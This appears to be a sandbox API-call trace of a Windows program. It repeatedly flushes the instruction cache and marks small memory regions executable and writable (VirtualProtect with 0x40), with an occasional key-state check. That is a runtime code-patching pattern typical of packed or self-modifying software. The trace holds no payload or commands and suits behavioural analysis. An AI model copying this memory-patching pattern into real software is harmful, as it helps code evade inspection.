1 [0085.444] GetCurrentProcess () returned 0xffffffff [0085.444] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.444] GetCurrentProcess () returned 0xffffffff [0085.444] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.444] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.445] GetCurrentProcess () returned 0xffffffff [0085.445] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.445] GetCurrentProcess () returned 0xffffffff [0085.445] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.445] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.446] GetCurrentProcess () returned 0xffffffff [0085.446] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.446] GetCurrentProcess () returned 0xffffffff [0085.446] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.446] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.447] GetCurrentProcess () returned 0xffffffff [0085.447] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.447] GetCurrentProcess () returned 0xffffffff [0085.447] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.447] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.448] GetCurrentProcess () returned 0xffffffff [0085.448] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.448] GetCurrentProcess () returned 0xffffffff [0085.448] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.448] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.449] GetCurrentProcess () returned 0xffffffff [0085.449] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.449] GetCurrentProcess () returned 0xffffffff [0085.449] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.449] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.449] GetCurrentProcess () returned 0xffffffff [0085.449] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.449] GetCurrentProcess () returned 0xffffffff [0085.449] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.449] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.450] GetCurrentProcess () returned 0xffffffff [0085.450] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.450] GetCurrentProcess () returned 0xffffffff [0085.450] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.450] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.451] GetCurrentProcess () returned 0xffffffff [0085.451] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.451] GetCurrentProcess () returned 0xffffffff [0085.451] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.451] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.451] GetCurrentProcess () returned 0xffffffff [0085.451] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.451] GetCurrentProcess () returned 0xffffffff [0085.451] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.451] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.452] GetCurrentProcess () returned 0xffffffff [0085.452] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.452] GetCurrentProcess () returned 0xffffffff [0085.452] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.452] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.453] GetCurrentProcess () returned 0xffffffff [0085.453] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.453] GetCurrentProcess () returned 0xffffffff [0085.453] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.453] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.453] GetCurrentProcess () returned 0xffffffff [0085.453] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.453] GetCurrentProcess () returned 0xffffffff [0085.453] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.453] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.454] GetCurrentProcess () returned 0xffffffff [0085.454] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.454] GetCurrentProcess () returned 0xffffffff [0085.454] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.454] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.454] GetCurrentProcess () returned 0xffffffff [0085.454] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.454] GetCurrentProcess () returned 0xffffffff [0085.455] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.455] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.455] GetCurrentProcess () returned 0xffffffff [0085.455] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.455] GetCurrentProcess () returned 0xffffffff [0085.455] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.455] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.456] GetCurrentProcess () returned 0xffffffff [0085.456] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.456] GetCurrentProcess () returned 0xffffffff [0085.456] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.456] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.456] GetCurrentProcess () returned 0xffffffff [0085.456] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.456] GetCurrentProcess () returned 0xffffffff [0085.456] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.456] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.457] GetCurrentProcess () returned 0xffffffff [0085.457] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.457] GetCurrentProcess () returned 0xffffffff [0085.457] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.457] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.458] GetCurrentProcess () returned 0xffffffff [0085.458] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.458] GetCurrentProcess () returned 0xffffffff [0085.458] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.458] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.458] GetCurrentProcess () returned 0xffffffff [0085.458] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.458] GetCurrentProcess () returned 0xffffffff [0085.458] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.458] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.459] GetCurrentProcess () returned 0xffffffff [0085.459] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.459] GetCurrentProcess () returned 0xffffffff [0085.459] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.459] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.460] GetCurrentProcess () returned 0xffffffff [0085.460] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.460] GetCurrentProcess () returned 0xffffffff [0085.460] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.460] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.460] GetCurrentProcess () returned 0xffffffff [0085.460] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.460] GetCurrentProcess () returned 0xffffffff [0085.460] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.460] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.461] GetCurrentProcess () returned 0xffffffff [0085.461] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.461] GetCurrentProcess () returned 0xffffffff [0085.461] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.461] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.462] GetCurrentProcess () returned 0xffffffff [0085.462] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.462] GetCurrentProcess () returned 0xffffffff [0085.462] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.462] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.463] GetCurrentProcess () returned 0xffffffff [0085.463] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.463] GetCurrentProcess () returned 0xffffffff [0085.463] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.463] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.463] GetCurrentProcess () returned 0xffffffff [0085.463] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.464] GetAsyncKeyState (vKey=3) returned 0 [0085.465] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.465] CRetailMalloc_Alloc () returned 0xcaec2c0 [0085.465] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.465] memcpy (in: _Dst=0xcaec2e0, _Src=0x197724, _Size=0x18 | out: _Dst=0xcaec2e0) returned 0xcaec2e0 [0085.465] CRetailMalloc_Realloc () returned 0xcaec2c0 [0085.465] CRetailMalloc_Free () returned 0x1 [0085.465] GetCurrentProcess () returned 0xffffffff [0085.465] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.465] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.466] GetCurrentProcess () returned 0xffffffff [0085.466] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.466] GetCurrentProcess () returned 0xffffffff [0085.466] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.466] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.467] GetCurrentProcess () returned 0xffffffff [0085.467] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.467] GetCurrentProcess () returned 0xffffffff [0085.467] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.467] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.467] GetCurrentProcess () returned 0xffffffff [0085.467] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.467] GetCurrentProcess () returned 0xffffffff [0085.467] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.467] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.468] GetCurrentProcess () returned 0xffffffff [0085.468] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.468] GetCurrentProcess () returned 0xffffffff [0085.468] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.468] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.469] GetCurrentProcess () returned 0xffffffff [0085.469] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.469] GetCurrentProcess () returned 0xffffffff [0085.469] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.469] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.469] GetCurrentProcess () returned 0xffffffff [0085.469] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.469] GetCurrentProcess () returned 0xffffffff [0085.470] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.470] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.470] GetCurrentProcess () returned 0xffffffff [0085.470] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.470] GetCurrentProcess () returned 0xffffffff [0085.470] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.470] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.471] GetCurrentProcess () returned 0xffffffff [0085.471] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.471] GetCurrentProcess () returned 0xffffffff [0085.471] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.471] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.472] GetCurrentProcess () returned 0xffffffff [0085.472] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.472] GetCurrentProcess () returned 0xffffffff [0085.472] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.472] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.472] GetCurrentProcess () returned 0xffffffff [0085.472] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.472] GetCurrentProcess () returned 0xffffffff [0085.472] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.473] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.473] GetCurrentProcess () returned 0xffffffff [0085.473] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.473] GetCurrentProcess () returned 0xffffffff [0085.473] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.473] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.474] GetCurrentProcess () returned 0xffffffff [0085.474] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.474] GetCurrentProcess () returned 0xffffffff [0085.474] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.474] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.475] GetCurrentProcess () returned 0xffffffff [0085.475] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.475] GetCurrentProcess () returned 0xffffffff [0085.475] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.475] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.475] GetCurrentProcess () returned 0xffffffff [0085.475] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.476] GetCurrentProcess () returned 0xffffffff [0085.476] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.476] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.476] GetCurrentProcess () returned 0xffffffff [0085.476] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.476] GetCurrentProcess () returned 0xffffffff [0085.476] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.476] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.477] GetCurrentProcess () returned 0xffffffff [0085.477] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.477] GetCurrentProcess () returned 0xffffffff [0085.477] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.477] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.478] GetCurrentProcess () returned 0xffffffff [0085.478] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.478] GetCurrentProcess () returned 0xffffffff [0085.478] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.478] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.478] GetCurrentProcess () returned 0xffffffff [0085.478] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.478] GetCurrentProcess () returned 0xffffffff [0085.478] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.479] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.480] GetCurrentProcess () returned 0xffffffff [0085.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.480] GetCurrentProcess () returned 0xffffffff [0085.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.480] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.480] GetCurrentProcess () returned 0xffffffff [0085.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.480] GetCurrentProcess () returned 0xffffffff [0085.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.480] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.481] GetCurrentProcess () returned 0xffffffff [0085.481] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.481] GetCurrentProcess () returned 0xffffffff [0085.481] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.481] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.482] GetCurrentProcess () returned 0xffffffff [0085.482] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.482] GetCurrentProcess () returned 0xffffffff [0085.482] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.482] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.483] GetCurrentProcess () returned 0xffffffff [0085.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.483] GetCurrentProcess () returned 0xffffffff [0085.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.483] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.483] GetCurrentProcess () returned 0xffffffff [0085.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.483] GetCurrentProcess () returned 0xffffffff [0085.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.483] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.484] GetCurrentProcess () returned 0xffffffff [0085.484] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.484] GetCurrentProcess () returned 0xffffffff [0085.484] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.484] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.485] GetCurrentProcess () returned 0xffffffff [0085.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.485] GetCurrentProcess () returned 0xffffffff [0085.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.485] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.485] GetCurrentProcess () returned 0xffffffff [0085.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.485] GetCurrentProcess () returned 0xffffffff [0085.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.485] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.486] GetCurrentProcess () returned 0xffffffff [0085.486] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.486] GetCurrentProcess () returned 0xffffffff [0085.486] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.486] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, 